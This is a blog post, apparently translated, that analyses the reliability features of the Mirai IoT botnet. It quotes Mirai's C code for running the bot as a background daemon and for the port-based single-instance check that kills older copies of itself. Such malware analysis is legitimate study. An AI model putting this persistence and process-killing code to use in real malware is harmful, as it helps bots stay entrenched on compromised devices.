IoT virus Mirai reliability analysis

1. Daemon

A daemon process is created at the beginning of the program, and the bot module runs in the background of the device in the form of a daemon process, independent of terminal control, and continues to run continuously without being affected by user and system interruptions and other reasons.

    chdir("/");    
    if (fork() > 0)
        return 0;
    pgid = setsid();
    close(STDIN);
    close(STDOUT);
    close(STDERR);

1) fork() creates a child process, and then the parent process exits to ensure that the child process is not the session leader

2) The child process calls setsid to create a new session, and the child process also becomes the session leader of the session. Because the leader in the session is not allowed to call setsid to create a new session. The purpose of setsid is to keep the child process from exiting because the terminal (parent's session) is closed.

3) Close stdin stdout stderr.

2. Singleton

The infection of bots is based on the continuous random detection, downloading and running of existing bots. Therefore, it is inevitable that the device running the bot will be re-detected and download and execute another bot, resulting in unpredictable errors. To avoid this from happening, the program has added a function to ensure that only one bot is running in a system.

There are two scenarios to consider when implementing a singleton:

1) During the running of the current program, it is found that there is a new program to be run; the strategy is to exit the current program and run the new program.

2) When the current program is running, it is found that there is already a program running; the strategy is to notify the existing program to exit and run a new program.

static void ensure_single_instance(void)
{
    static BOOL local_bind = TRUE;
    struct sockaddr_in addr;
    int opt = 1;

    if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        return;
    setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
    fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
    addr.sin_port = htons(SINGLE_INSTANCE_PORT);

    // Try to bind to the control port
    errno = 0;
    if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
    {
        // Reset addr just in case
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = INADDR_ANY;
        addr.sin_port = htons(SINGLE_INSTANCE_PORT);

        if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
        {;
        }
        
        sleep(5);
        close(fd_ctrl);
        killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
        ensure_single_instance(); // Call again, so that we are now the control
    }
    else
    {
        listen(fd_ctrl, 1);
    }
}

 

        fd_set fdsetrd, fdsetwr, fdsetex;
        struct timeval timeo;
        int mfd, nfds;

        FD_ZERO(&fdsetrd);
        FD_ZERO(&fdsetwr);

        // Socket for accept()
        if (fd_ctrl != -1)
            FD_SET(fd_ctrl, &fdsetrd);

        // Get maximum FD for select
            mfd = fd_ctrl;

        // Wait 10s in call to select()
        timeo.tv_usec = 0;
        timeo.tv_sec = 10;
        nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
        if (nfds == -1)
        {
            ;
        }
        else if (nfds == 0)
        {
            ;
        }

        // Check if we need to kill ourselves
        if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd))
        {
            kill(pgid * -1, 9);
            exit(0);
        }

After the program starts, it binds to a specific port P. At this time, there are two situations:

1.P binding is successful;

2.P binding failed.

If the P binding is successful, it means that there is no program running before, the current program is a new program, you can continue to execute it, and monitor whether the P port is readable. , I quit voluntarily as an old program

If the P binding fails, it means that P has been bound, which means that a program is already running before, and it needs to be notified to exit first, so the port P is connected. If the connection is successful, a three-way handshake will be performed, that is, a SYN handshake packet will be sent, so that It will cause the fd_set that listened to the P port to generate a readable event, and the old program will exit by itself. Then the P port is released and the new program rebinds P.

Tags: Operation & Maintenance server servlet

Posted by barrywood on Mon, 05 Sep 2022 05:18:19 +0930